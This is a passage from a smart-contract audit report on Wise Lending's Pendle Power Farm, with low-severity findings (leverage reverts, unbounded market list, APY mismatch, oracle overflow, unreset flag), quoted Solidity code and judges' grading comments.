194:         if (_leverage > MAX_LEVERAGE) {
195:             revert LeverageTooHigh();
196:         }
197: 
198:         uint256 leveragedAmount = getLeverageAmount(
199:             _initialAmount,
200:             _leverage
201:         );
202: 
203:         if (_notBelowMinDepositAmount(leveragedAmount) == false) {
204:             revert AmountTooSmall();
205:         }
206: 
207:         _executeBalancerFlashLoan(
208:             {
209:                 _nftId: _nftId,
210:                 _flashAmount: leveragedAmount - _initialAmount, // @audit if user wants to have <100% exposure it will revert, in case if 1x leverage flash will be 0 and balancer will revert too
211:                 _initialAmount: _initialAmount,
212:                 _lendingShares: 0,
213:                 _borrowShares: 0,
214:                 _allowedSpread: _allowedSpread,
215:                 _ethBack: false,
216:                 _isAave: _isAave
217:             }
218:         );
219:     }
220: 

[L-05] Adding too much Pendle markets DoSes Pendle Power Farm

There is no constraint on how many pendle markets can be added:

    function addPendleMarket(
        address _pendleMarket,
        string memory _tokenName,
        string memory _symbolName,
        uint16 _maxCardinality
    )
        external
        onlyMaster
    {
// [...]
        activePendleMarkets.push(
            _pendleMarket
        );
// [...]

Adding too much doses syncing supply:

    function syncAllSupply()
        public
    {
        uint256 i;
        uint256 length = activePendleMarkets.length;

        while (i < length) {
            _syncSupply(
                activePendleMarkets[i]
            );
            unchecked {
                ++i;
            }
        }
    }

[L-06] Borrow APY calculations don't account for utilization rate

There are 2 functions calculating APY - one calculates borrow APY, one lending APY. So, generally both should yield similar results, that is lending APY - protocol fees ~= borowing APY. However lending APY includes utilization rate of the pool and APY is adjusted over it, while borrowing APY doesn't account for it, leading to borrowing APY assuming utilization rate is always 100%

    function overallLendingAPY(
        uint256 _nftId
    )
        external
        view
        returns (uint256)
    {
            weightedRate += ethValue
                * getLendingRate(token);

            overallETH += ethValue;

            unchecked {
                ++i;
            }
        }

        return weightedRate
            / overallETH;

and lendingRate() function:

getLendingRate(
        address _poolToken
    )
        public
        view
        returns (uint256)
    {
        uint256 pseudoTotalPool = WISE_LENDING.getPseudoTotalPool(
            _poolToken
        );

        if (pseudoTotalPool == 0) {
            return 0;
        }

        uint256 adjustedRate = getBorrowRate(_poolToken)
            * (PRECISION_FACTOR_E18 - WISE_LENDING.globalPoolData(_poolToken).poolFee)
            / PRECISION_FACTOR_E18;

        return adjustedRate // @audit pool utilization rate is taken into account
            * WISE_LENDING.getPseudoTotalBorrowAmount(_poolToken)
            / pseudoTotalPool;
    }

in comparison, borrow APY is calculated as follows:

    function overallBorrowAPY(
        uint256 _nftId
    )
        external
        view
        returns (uint256)
    {
        // [...]

            weightedRate += ethValue
                * getBorrowRate(token); // @audit borrow rate is WISE_LENDING.borrowPoolData(_poolToken).borrowRate storage variable

            overallETH += ethValue;

            unchecked {
                ++i;
            }
        }

        return weightedRate
            / overallETH;
    }

So borrow APY doesn't account for utilization rate as lending APY. So it shows that you'll have to pay high fees for borrowing, and you'll get proportionally less for providing value to the protocol.

There is actually yet another function, combining the two above - overallNetAPY(), which calculates both lending and borrowing APY, and returns the value combined.

Both functions are not used by the protocol, but it might false information to either offchain clients or external protocols integrating with WiseLending.

Additional thing to consider is that Pendle markets can be only added, there is no function to remove them.

[L-07] Possible DoSing of Pendle farm via overflow

there are 3 multiplications of big numbers before first division in PendleChildLpOracle:

function latestAnswer()
        public
        view
        returns (uint256)
    {
        return priceFeedPendleLpOracle.latestAnswer()
            * pendleChildToken.totalLpAssets()
            * PRECISION_FACTOR_E18
            / pendleChildToken.totalSupply()
            / PRECISION_FACTOR_E18;
    }

When I put some numbers, we still have a space to grow:

> 2**256 / (1e18*1000000e18*1e18) 115792089237316180

But either way, the protocol still can use MathLib.MulDiv that handles intermediate overflow gracefully in case of black swan events.

[NC-01] exitFarm doesn´t default the isAave flag

When the exitFarm is called, The Power Farm NFT is burned, Reserved keys are reset, And available NFT mapping is reserved for the burned one. But, it doesnt' revert the isAave mapping to false

Contract: PendlePowerManager.sol

210:     function exitFarm(
211:         uint256 _keyId,
212:         uint256 _allowedSpread,
213:         bool _ethBack 
214:     )
215:         external
216:         updatePools
217:         onlyKeyOwner(_keyId)
218:     {
219:         uint256 wiseLendingNFT = farmingKeys[
220:             _keyId
221:         ];
222: 
223:         delete farmingKeys[
224:             _keyId
225:         ];
226: 
227:         if (reservedKeys[msg.sender] == _keyId) {
228:             reservedKeys[msg.sender] = 0;
229:         } else {
230:             FARMS_NFTS.burnKey(
231:                 _keyId
232:             );
233:         }
234: 
235:         availableNFTs[
236:             ++availableNFTCount
237:         ] = wiseLendingNFT;
238: 
239:         _closingPosition(
240:             isAave[_keyId],//@audit if this remains as True, it will remain true
241:             wiseLendingNFT,
242:             _allowedSpread,
243:             _ethBack
244:         );
245: 
246:         emit FarmExit(
247:             _keyId,
248:             wiseLendingNFT,
249:             _allowedSpread,
250:             block.timestamp
251:         );
252:     }

#0 - c4-pre-sort

2024-03-13T08:52:05Z

GalloDaSballo marked the issue as high quality report

#1 - c4-pre-sort

2024-03-17T10:46:34Z

GalloDaSballo marked the issue as sufficient quality report

#2 - c4-judge

2024-03-26T11:13:59Z

trust1995 marked the issue as grade-a

#3 - trust1995

2024-03-26T11:15:12Z

@vm06007 Would like team responses for each suggestion in here as it is the best report.

#4 - c4-judge

2024-03-26T11:15:15Z

trust1995 marked the issue as selected for report

#5 - trust1995

2024-03-27T10:24:11Z

[L-02] is not necessarily valid, it depends on sponsor's interpretation of slippage value.

#6 - trust1995

2024-04-15T21:13:13Z

L-04 is reduced to NC severity. L-05 belongs to analysis report because it is a centralization risk

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter